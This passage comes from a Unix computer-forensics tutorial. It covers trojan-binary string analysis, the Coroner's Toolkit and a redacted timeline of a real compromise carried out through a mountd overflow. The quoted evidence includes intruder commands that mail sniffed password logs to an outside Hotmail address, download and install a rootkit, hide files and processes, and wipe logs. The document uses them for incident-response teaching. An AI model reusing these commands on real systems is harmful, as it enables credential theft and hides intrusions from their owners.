FAILED LOGIN SESSION FROM %s FOR %s, %s
Login incorrect
.hushlogin
%s/%s
/var/run/utmp
/var/log/wtmp
/bin/sh
TERM
dumb
HOME
/usr/local/bin:/bin:/usr/bin
PATH
/sbin:/bin:/usr/sbin:/usr/bin
SHELL
/var/spool/mail
MAIL
LOGNAME
DIALUP AT %s BY %s
ROOT LOGIN ON %s FROM %s
ROOT LOGIN ON %s
LOGIN ON %s BY %s FROM %s
LOGIN ON %s BY %s
You have %smail.
new
login: failure forking: %s
setuid() failed
No directory %s!
Logging in with home = "/".
login: no memory for shell script.
exec
login: couldn't exec shell script: %s.
login: no shell: %s.
%s login:
login name much too long.
NAME too long
login names may not start with '-'.
too many bare linefeeds.
EXCESSIVE linefeeds
Login timed out after %d seconds
/etc/securetty
/etc/motd
/var/log/lastlog
Last login: %.*s
from %.*s
on %.*s
LOGIN FAILURE FROM %s, %s
LOGIN FAILURE ON %s, %s
%d LOGIN FAILURES FROM %s, %s
%d LOGIN FAILURES ON %s, %s
. . .
The strings show similar prompts and error messages, plus a
reference to "hushlogin", all features that make it look like a trojan horse
version of login.
Symbol information is included in compiled/linked objects, unless removed
with the strip program. You can see the symbols using the nm
program.
# nm chx
chx: no symbols
... or not. In this case, they have been stripped. You may also
learn something from dynamic link libraries. To see these, use ldd.
# ldd chx
libcrypt.so.1 => /lib/libcrypt.so.1 (0x40018000)
libpam.so.0 => /lib/libpam.so.0 (0x40045000)
libdl.so.2 => /lib/libdl.so.2 (0x4004d000)
libpam_misc.so.0 => /lib/libpam_misc.so.0 (0x40050000)
libc.so.6 => /lib/libc.so.6 (0x40054000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
This shows use of the Pluggable Authentication Module (PAM)
facilities and the crypt() libraries, so it has some need for user
authentication facilities. This would be consistent with a login trojan
horse.
This exercise has shown that a great deal can be learned by following
simple evidence, but in many cases the intruders are more sophisticated and do
not take such obvious actions as setting up user accounts and leaving files in
easily located directories. More efficient and thorough tools may be necessary.
For examples of the use of some of the other tools mentioned at the beginning
(e.g., lsof), see "The DoS
Project's "trinoo" distributed denial of service attack tool" and "The
"mstream" distributed denial of service attack tool".
The Coroner's Toolkit
The Coroner's Toolkit (or "TCT") is a package of
utilities written by Dan Farmer and Wietse Venema for a one-time course they taught
on computer forensics, sponsored by IBM.
The central programs in TCT are:
- grave-robber
A data capturing tool, most commonly used to
gather i-node information for use by mactime
- unrm and lazarus
Tools for recovery of deleted file
space and for processing this (or other, e.g., RAM or swap space) memory to
attempt to identify and recover lost or hidden data
- mactime
A program for time-ordering files/directories in the
file system based on modification, access, and
change ("MAC" for short) i-node time stamps
Of these tools, the most useful for ease of use and fruitful
results, are the grave-robber and mactime programs.
unrm (and lazarus, if you have the luxury of time and lots of
disc space) are also useful for finding "lost" data, especially deleted system
logs and intruder source code.
The most basic function of grave-robber is to traverse some/all of
the file system and use the stat() function to obtain information from
i-nodes in the file system. The mactime program then sorts the results
and produces a time-ordered list of files, showing the time, which of the three
timestamps -- modification, access, or change -- correspond, and shows file
type, size, ownership, and path.
From this listing, you will be able to infer some of the activity on the
system during the time the intruder(s) were on the system. This may include
installation of trojan horse "backdoors" and replacement of operating system
commands, downloading of tools, modification to system libraries or installed
packages, creation of hidden directories, execution of operating system
commands, and compilation/linking of programs. A great deal of information that
otherwise is not logged can be gleaned from mactime output.
Before you assume that these tools will show you everything, and recover all
deleted files, think again!. Read van Hauser's paper on "Anonymizing Unix
Systems" for more on how intruders can make your job much more difficult.
Using The Coroner's Toolkit
Note: These instructions are based on
the May 5, 2000 version of TCT, which is a pre-release Beta version. It is
expected that these tools will be publicly released at some time in the future.
The instructions here may or may not apply to the final release version, but you
get the basic idea.
Example report of evidence found on a compromised system
We will now take a look at a more complete report of activity on a system,
obtained from detailed analyses of sniffer log files, login records, file system
timestamps, and file system contents from several systems/sites involved in the
incident. This is from an actual compromise, but all identifying information has
been edited out.
The following is an analysis of the root (only) partition from
XXXXXXXXXXXXXXXXXXXXXX as it existed after being taken off-line when it
was discovered it was compromised and likely running a network sniffer.
(A tar format copy of this file system is available on ISO 9660 CD-R).
The host XXXXXXXXXXXXXXXXXXXXXX was one of a series of 19 systems
suspected to have all been compromised by the same group of intruders
in early XXX XXXX, using the Linux mountd buffer overrun bug
documented in CERT Advisory CA-98.12:
http://www.cert.org/advisories/CA-98.12.mountd.html
The drive was analyzed using the tools assembled by Dan Farmer and
Wietse Venema in their "Coroner's Toolkit", used in a class on Unix
forensic analysis. See:
http://www.fish.com/security/forensics.html
On the analysis system, the disc appears as device /dev/hdc. The first
partition, /dev/hdc1, was mounted "read-only" on the mount point "/x".
As a result, all paths will be preceded by this path, rather than simply
the single "/". The actual drive geometry is shown here:
-----------------------------------------------------------------------------
Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders
Units = cylinders of 2016 * 512 bytes
Device Boot Start End Blocks Id System
/dev/hdc1 1 793 799312+ 83 Linux
/dev/hdc2 794 825 32256 82 Linux swap
-----------------------------------------------------------------------------
As the bulk of intrusions appeared to start in early XXXXXXXX, sorted
timestamp listings were started from XXX 01.
There were no obvious signs modified/installed files which indicate the
method of intrusion between XXX 01 and XXX 04. On XXX 04,
the Berkeley "r" utility remote login daemon ("in.rlogind") is modified.
-----------------------------------------------------------------------------
XXX 04 XX 23:42:21 23421 m.. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
-----------------------------------------------------------------------------
Examination of strings in this program show it to be a trojan horse
network daemon that uses the same string found on other systems
compromised by this group, the word "XXXXXXXX":
-----------------------------------------------------------------------------
. . .
rlogind
ahLln
XXXXXXXX
Can't get peer name of remote host: %m
Can't get peer name of remote host
setsockopt (SO_KEEPALIVE): %m
setsockopt (IP_TOS): %m
hname != NULL
rlogind.c
. . .
-----------------------------------------------------------------------------
Eight days later, it shows a change, at the same time the "chown"
program is run:
-----------------------------------------------------------------------------
XXX 12 XX 11:04:10 23421 ..c -rwxr-xr-x root root /x/usr/sbin/in.rlogind
XXX 12 XX 11:04:11 8156 .a. -rwxr-xr-x root bin /x/bin/chown
-----------------------------------------------------------------------------
A half hour later, a source file for a sniffer ("linsniff.c") is copied
into a hidden directory in /etc/ (named "/etc/.. ", that is
dot-dot-space-space-space, which is turned into "/etc/..___" for this
listing.)
The program is then compiled (include files indicating a network aware
program are accessed) and placed into a system directory in the file
"/usr/sbin/telnetd".
Four minutes later, an incoming ftp connection is apparently made
(as seen by an access to the "wu.ftpd" program and its process id
file):
-----------------------------------------------------------------------------
XXX 12 XX 11:36:59 5127 m.c -rw-r--r-- root root /x/etc/..___/linsniff.c
XXX 12 XX 11:37:08 4967 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if.h
3143 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h
3145 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h
1910 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/ip.h
2234 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/route.h
1381 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h
XXX 12 XX 11:37:10 2048 ..c drwxr-xr-x root bin /x/usr/sbin
XXX 12 XX 11:37:14 2048 m.. drwxr-xr-x root bin /x/usr/sbin
XXX 12 XX 11:37:15 8179 m.c -rwxr-xr-x root root /x/usr/sbin/telnetd
XXX 12 XX 11:37:48 8179 .a. -rwxr-xr-x root root /x/usr/sbin/telnetd
XXX 12 XX 11:41:52 77476 .a. -rwxr-xr-x root bin /x/usr/sbin/wu.ftpd
XXX 12 XX 11:42:08 4096 mac -rw-r--r-- root root /x/var/pid/ftp.pids-remote
-----------------------------------------------------------------------------
The login session that corresponds with this file system activity
can be identified from strings in the deleted file space of the root
partition on XXXXXXX:
-----------------------------------------------------------------------------
XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
. . .
XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
XXX 12 11:42:00 XXXX ftpd[1327]: SYST
XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
XXX 12 11:42:06 XXXX ftpd[1327]: PORT
XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
-----------------------------------------------------------------------------
Also seen in these logs is the downloading of the mountd buffer overrun
exploit (the file "mountd"), which they were using to break in to the
Linux systems. (Is this the exploit? Need to check filesystem.)
From this, it can be infered that the intruder has an active session on
AAAAAA.XXXXXX.XXX [XXX.XXX.XXX.XX] that runs from some time prior to
11:33:05 to at least 12:00:25 PST (which is 14:33:05 to 15:00:25 EST,
the timezone in which XXXXXX.XXX resides).
Strings in "/usr/sbin/telnetd" show this to be the sniffer just
compiled. The default sniffer log file name ("tcp.log") is also
visible:
-----------------------------------------------------------------------------
. . .
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
eth0
tcp.log
cant open log
Exiting...
. . .
-----------------------------------------------------------------------------
On XXXXXXXX 13, another network aware program is compiled, which uses
many more facilities than the sniffer. (The fact that no binary appears
to exist with modification/change dates at this time may indicate it was
run and deleted as a tactic to hide its presence from the system owner,
or just subsequently deleted by the intruders or system administrator.)
-----------------------------------------------------------------------------
XXX 13 XX 10:01:46 55492 .a. -rwxr-xr-x root root /x/usr/bin/gcc
6211 .a. -rw-r--r-- root root /x/usr/include/stdio.h
92696 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp
1003 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/specs
XXX 13 XX 10:01:47 2767 .a. -rw-r--r-- root root /x/usr/include/_G_config.h
1441 .a. -rw-r--r-- root root /x/usr/include/alloca.h
2040 .a. -rw-r--r-- root root /x/usr/include/confname.h
1267 .a. -rw-r--r-- root root /x/usr/include/errno.h
4186 .a. -rw-r--r-- root root /x/usr/include/features.h
4434 .a. -rw-r--r-- root root /x/usr/include/gnu/types.h
7917 .a. -rw-r--r-- root root /x/usr/include/libio.h
380 .a. -rw-r--r-- root root /x/usr/include/posix_opt.h
4419 .a. -rw-r--r-- root root /x/usr/include/signal.h
15134 .a. -rw-r--r-- root root /x/usr/include/stdlib.h
7537 .a. -rw-r--r-- root root /x/usr/include/string.h
3909 .a. -rw-r--r-- root root /x/usr/include/sys/cdefs.h
4538 .a. -rw-r--r-- root root /x/usr/include/sys/socket.h
321 .a. -rw-r--r-- root root /x/usr/include/sys/types.h
25129 .a. -rw-r--r-- root root /x/usr/include/unistd.h
8841 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/stddef.h
1029 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/types.h
6298 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/errno.h
2065 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/signal.h
2794 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/socket.h
3846 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/sockios.h
2621 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/types.h
XXX 13 XX 10:01:48 3668 .a. -rw-r--r-- root root /x/usr/include/arpa/inet.h
734 .a. -rw-r--r-- root root /x/usr/include/bytesex.h
1555 .a. -rw-r--r-- root root /x/usr/include/endian.h
3248 .a. -rw-r--r-- root root /x/usr/include/limits.h
6390 .a. -rw-r--r-- root root /x/usr/include/netdb.h
2663 .a. -rw-r--r-- root root /x/usr/include/netinet/in.h
3562 .a. -rw-r--r-- root root /x/usr/include/paths.h
2643 .a. -rw-r--r-- root root /x/usr/include/posix1_lim.h
2680 .a. -rw-r--r-- root root /x/usr/include/posix2_lim.h
3777 .a. -rw-r--r-- root root /x/usr/include/sys/bitypes.h
709 .a. -rw-r--r-- root root /x/usr/include/sys/param.h
2315 .a. -rw-r--r-- root root /x/usr/include/sys/time.h
5273 .a. -rw-r--r-- root root /x/usr/include/sys/wait.h
2852 .a. -rw-r--r-- root root /x/usr/include/time.h
1156 .a. -rw-r--r-- root root /x/usr/include/waitflags.h
3724 .a. -rw-r--r-- root root /x/usr/include/waitstatus.h
1418196 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1
3049 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/limits.h
330 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/syslimits.h
2101 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/byteorder.h
266 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/param.h
3965 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/in.h
720 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/limits.h
78 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/param.h
1146 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/time.h
313 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/version.h
698 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/wait.h
XXX 13 XX 10:01:57 117668 .a. -rwxr-xr-x root bin /x/usr/bin/as
XXX 13 XX 10:01:58 145695 .a. -rwxr-xr-x root bin /x/usr/bin/ld
XXX 13 XX 10:01:59 1088 .a. -rw-r--r-- root root /x/usr/lib/crt1.o
1216 .a. -rw-r--r-- root root /x/usr/lib/crtbegin.o
1212 .a. -rw-r--r-- root root /x/usr/lib/crtend.o
624 .a. -rw-r--r-- root root /x/usr/lib/crti.o
396 .a. -rw-r--r-- root root /x/usr/lib/crtn.o
204146 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/libgcc.a
-----------------------------------------------------------------------------
On XXX 14, "ncftp" (a File Transfer Protocol, or FTP, client) is
run:
-----------------------------------------------------------------------------
XXX 14 XX 00:42:50 146881 .a. -rwxr-xr-x root bin /x/usr/bin/ncftp
-----------------------------------------------------------------------------
Login records from the system XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") show a
login to XXXXXXX.XXXXXXX.XXX at this time (XXXXXXX is also in the EST,
or +0300 hours ahead of PST), which is bounded before and after by
connections directly from CCCCCCCC.XXXXXXXX.XXX,
XXXXXXXXXXXXX.washington.edu, and XXXXXXXXXXXX.washington.edu:
-----------------------------------------------------------------------------
XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:46 - 04:08 (00:21)
XXX ftp XXXXXXX.washingt Sat XXX 14 03:46 - 03:46 (00:00)
XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:38 - 03:40 (00:02)
XXX ftp XXXXXXXXXXXXX.wa Sat XXX 14 03:37 - 03:39 (00:02)
XXX ftp XXXXXXXXXXXX.was Sat XXX 14 03:19 - 03:20 (00:00)
-----------------------------------------------------------------------------
There is only one occurrence of the "ncftp" command logged by a sniffer
on XXXXXXX (line 347 in "tcp.log"). Weaknesses in the way linsniff
detects sessions means that this may not be the actual event itself, and
if it were, the logging of the telnet session could miss the ftp
connection to XXXXXXX.XXXXXXX.XXX:
-----------------------------------------------------------------------------
XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]
!"'%W#$ 38400,38400vt100bdoor
password
w
su r00t
cd /etvc
cd ".. "
ls
cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
ncftp -u ls
cp tcp.log 1
ls
ncftp -y XXX.XXX
[A[D[D[D[D[D[D[D[Du
----- [Timed Out]
-----------------------------------------------------------------------------
This ties the person using XXXXXXXXX, at the time the sniffer log file
was transferred to XXXXXXX.XXXXXXX.XXX, with CCCCCCCC.XXXXXXXX.XXX.
Four hours later, someone runs the "whoami" program, then later adds or
deletes a file from the hidden directory in /etc.
-----------------------------------------------------------------------------
XXX 14 XX 04:07:42 3797 .a. -rwxr-xr-x root bin /x/usr/bin/whoami
XXX 14 XX 04:08:18 1024 m.c drwxr-xr-x root root /x/etc/..___
-----------------------------------------------------------------------------
Later on the night of XXX 14, in.identd is run. The in.identd daemon
is used to identify the username associated with a connection attempt
to a remote service. This is required by some Internet Relay Chat
servers, so this could indicate that someone made a connection to an
IRC server from this system at this time.
Also occurring are connections to the POP mail server daemon
("in.pop3d"), the Berkeley "r" utility login daemon ("in.rlogind"),
and a connection to the NFS mount daemon ("rpc.mountd"). The
rpc.mountd connection is immediately followed by execution of the "id"
command (this is the signature of the ADM mountd buffer overrun
exploit, which starts a shell and returns the process id of the NFS
mountd service daemon, usually root).
The intruder then uses this shell to create the directory
"/var/tmp/XXXXX" and install backdoor programs, log file cleanup
utilities, and a sniffer. Modification of several log files indicates
that the cleanup programs were run at this time to conceal the intrusion
(including zeroing out the contents of several log files):
-----------------------------------------------------------------------------
XXX 14 XX 20:25:14 13004 .a. -rwxr-xr-x root bin /x/usr/sbin/in.identd
XXX 14 XX 22:24:52 15029 .a. -rwxr-xr-x root bin /x/usr/sbin/in.pop3d
XXX 15 XX 02:22:24 23421 .a. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
XXX 15 XX 02:23:07 25217 .a. -rwxr-xr-- root bin /x/usr/sbin/rpc.mountd
XXX 15 XX 02:23:08 7705 .a. -rwxr-xr-x root bin /x/usr/bin/id
XXX 15 XX 02:24:22 28550 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/fix
13508 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
XXX 15 XX 02:24:23 13508 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
1375 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/readme
XXX 15 XX 02:24:39 26314 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
XXX 15 XX 02:24:41 26314 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
XXX 15 XX 02:24:43 1126 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
XX mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/imapdis
XXX 15 XX 02:24:59 4665 .a. -rwxr-xr-x root bin /x/usr/bin/basename
XXX 15 XX 02:25:03 0 mac -rw-r--r-- root root /x/var/log/cron
XXX 15 XX 02:25:04 0 ma. crw-rw-rw- root root /x/dev/ttyp3
XXX 15 XX 02:25:06 0 .a. -rw-r--r-- root root /x/var/log/debug
XXX 15 XX 02:25:08 0 .a. -rw-r--r-- root root /x/var/log/lastlog
XXX 15 XX 02:25:12 2699 .a. -rw-r--r-- root root /x/var/log/syslog
XXX 15 XX 02:25:15 131968 .a. -rwxr-xr-x root bin /x/usr/bin/gawk
5941 .a. -rwxr-xr-x root bin /x/usr/bin/wc
0 .a. -rw-r--r-- root root /x/var/log/xferlog
1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX
1126 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
XXX 15 XX 02:25:54 2802 m.c -rwxr-xr-x root root /x/etc/rc.d/rc.inet2
XXX 15 XX 02:26:13 12288 m.c -rw-rw-r-- root root /x/etc/psdevtab
XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
XXX 15 XX 02:28:37 0 .a. crw-rw-rw- root root /x/dev/ptyp2
XXX 15 XX 02:28:38 0 m.c crw-rw-rw- root root /x/dev/ptyp2
0 mac crw-rw-rw- root root /x/dev/ttyp2
XXX 15 XX 02:29:58 0 m.c -rw-r--r-- root root /x/var/log/lastlog
XXX 15 XX 02:30:06 0 m.c -rw-r--r-- root root /x/var/log/xferlog
XXX 15 XX 02:31:03 66973 .a. -rwxr-xr-x root bin /x/bin/telnet
XXX 15 XX 02:35:01 1024 m.c drwxr-xr-x root root /x/var/log
0 mac -rw-r--r-- root root /x/var/log/sulog
XXX 15 XX 02:35:16 0 m.c -rw-r--r-- root root /x/var/log/debug
XXX 15 XX 02:35:51 0 ma. crw-rw-rw- root root /x/dev/ptyp3
XXX 15 XX 02:35:52 0 ..c crw-rw-rw- root root /x/dev/ptyp3
0 ..c crw-rw-rw- root root /x/dev/ttyp3
XXX 15 XX 03:21:57 1649 m.. -rw-r--r-- root root /x/etc/passwd.OLD
XXX 15 XX 03:22:24 7317 .a. -rwxr-xr-x root bin /x/bin/killall
XXX 15 XX 03:22:40 58605 .a. -rwxr-xr-x root bin /x/bin/ps
25 .a. -rw-r--r-- root root /x/dev/XXXXXXXX/PS
-----------------------------------------------------------------------------
This activity appears to be seen starting at line 471 in the "tcp.log"
sniffer log file (between XXX 14 03:46 from line 348 and XXX 17 20:13
from the last modification date of the file):
---------------------------------------------------------------------------
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXXlinux/38400
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXX-linux/38400
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootr00tlinux/38400t
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]
!"'%P#$ 38400,38400linuxXXXXX
XXX
r00t
finger
cd /var/tmp
ls -al
rm -rf .bash*
ftp XXXXXX.XXX.XXX
anonymous
ass
get XXXX.tgz
quituit
tar zxvf XXXX.tgz
chmod +x *
./INSTALL
ls -al
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]
!"'%P#$ 38400,38400linuxr00t
pico /etc/rc.d/irc.inetd2
rpc.mo.mo.mo.mountd
[A11
mountd
[A2
pmountd
[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y
pico /etc/inetd.conf
[6~[6~killall -HUP inetd
cat /etc/inetd.conf
ps aux
kill -9 cd /dev
mkdir XXXXXXXX
cd XXXXXXXX
pico LS
XXXXXXXX
XXXXXy
pico PS
3 bindshell
3 linsniffery
ps aux
kill -9 2541
f
----- [Timed Out]
---------------------------------------------------------------------------
This shows the intruder editing the rootkit configuration file for
"ls" (named "LS") to hide files/directories with "XXXXXXXX" and
"XXXXX" in their names, and the rootkit configuration file for "ls"
(named "PS") to hide processes with "bindshell" and "linsinffer" in
their names.
(The "y" seen in the strings "XXXXXy" and "linsniffery" are artifacts
of the intruder using the "pico" editor. The pico command to save
files is Ctrl-X. If the file has been modified in any way, pico
prompts the user:
Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?
The user must then type "y" to save the file. The sniffer is not
showing control characters, but the "y" does show up.)
The sniffer log entry here shows the XXXXXXXX directory being created,
then the files "LS" and "PS" being edited, in that order. This can be
seen in the mactime listing, likely tying this event to XXX 15 at
02:26:
---------------------------------------------------------------------------
XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
---------------------------------------------------------------------------
On XXX 16, someone creates a backup copy ("sniffer.log.save") of
a sniffer log file ("sniffer.log") in the directory
"/var/tmp/XXXXX/programs". These sniffer logs also show logins from
intruders, who then access the sniffer log file "tcp.log"):
-----------------------------------------------------------------------------
XXX 16 XX 21:55:34 36088 .a. -rwxr-xr-x root bin /x/bin/netstat
XXX 16 XX 21:58:27 1024 m.c drwxrwxrwx root root /x/var/tmp
XXX 16 XX 21:58:52 6 .a. -rw-r--r-- root root /x/root/temp.txt
XXX 16 XX 22:50:33 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX
XXX 16 XX 22:51:02 6644 .a. -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
XXX 16 XX 22:57:16 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX/programs
XXX 16 XX 23:39:51 1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX/programs
4992 mac -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log.save
-----------------------------------------------------------------------------
The file "/root/temp.txt" contains the string "blah" on one line, and
another blank line. (It is not known what purpose this file serves.)
On XXX 17, a password is changed and a backup copy of the password
file is created.
-----------------------------------------------------------------------------
XXX 17 XX 12:44:50 153384 .a. -rws--x--x root bin /x/usr/bin/passwd
XXX 17 XX 12:45:05 1649 m.c -rw-r--r-- root root /x/etc/passwd
1649 ..c -rw-r--r-- root root /x/etc/passwd.OLD
-----------------------------------------------------------------------------
Later on XXXXXXXX 17, someone logs in using telnet. Line printer status
is apparently obtained. Modifications to /dev/console indicate a
console login occurred as well. Modification/change dates are altered on
both sniffer logs, one "/etc/.. /tcp.log" and the other
"/var/tmp/XXXXX/programs/sniffer.log", which could indicate they are
shut down:
-----------------------------------------------------------------------------
XXX 17 XX 20:13:44 296 .a. -rw-r--r-- root root /x/etc/hosts.deny
40907 .a. -rwxr-xr-x root bin /x/usr/sbin/tcpd
XXX 17 XX 20:13:45 40685 .a. -rwxr-xr-x root bin /x/usr/sbin/in.telnetd
25 m.c -rw-rw-r-- root root /x/var/spool/lp1/status
XXX 17 XX 20:13:46 0 m.. crw-rw-rw- root root /x/dev/console
0 .a. crw-rw-rw- root root /x/dev/ptyp0
0 m.. crw-rw-rw- root root /x/dev/ttyp0
18476 m.c -rw-r--r-- root root /x/etc/..___/tcp.log
6644 m.c -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
XXX 17 XX 20:13:50 0 ..c crw-rw-rw- root root /x/dev/console
0 ..c crw-rw-rw- root root /x/dev/ptyp0
0 ..c crw-rw-rw- root root /x/dev/ttyp0
-----------------------------------------------------------------------------
On XXX 18, sendmail is run. There is evidence in one of the sniffer
log files ("/etc/.. /tcp.log") that shows the intruder mailing a
copy of the tcp.log sniffer log to an email address, which most likely
occurred at this time:
-----------------------------------------------------------------------------
XXX 18 XX 05:30:26 164060 .a. -r-sr-Sr-x root bin /x/usr/sbin/sendmail
-----------------------------------------------------------------------------
In addition to analyzing the active file system, all deleted files were
recovered using "unrm" from the Coroner's Toolkit. Simple examination
of the strings in the resulting file reveals several deleted scripts
and log files.
The following is part of a rootkit installation/cleanup script:
-----------------------------------------------------------------------------
cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis
rm -rf /var/tmp/imap-d
echo "6. cleaning logs"
cd /var/tmp/XXXXX
cp /var/tmp/clean /var/tmp/XXXXX/programs/clean
rm -rf /var/tmp/clean
/var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
/var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null
/var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null
echo "rootkit complete"
echo "rember to disable imapd"
echo "EOF"
-----------------------------------------------------------------------------
The following are portions of deleted system log files that show
connections from various intruder points of origin.
-----------------------------------------------------------------------------
XXX 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again
XXX 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX
. . .
XXX 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX
. . .
XXX 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX
XXX 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1
. . .
XXX 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX
XXX 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX
. . .
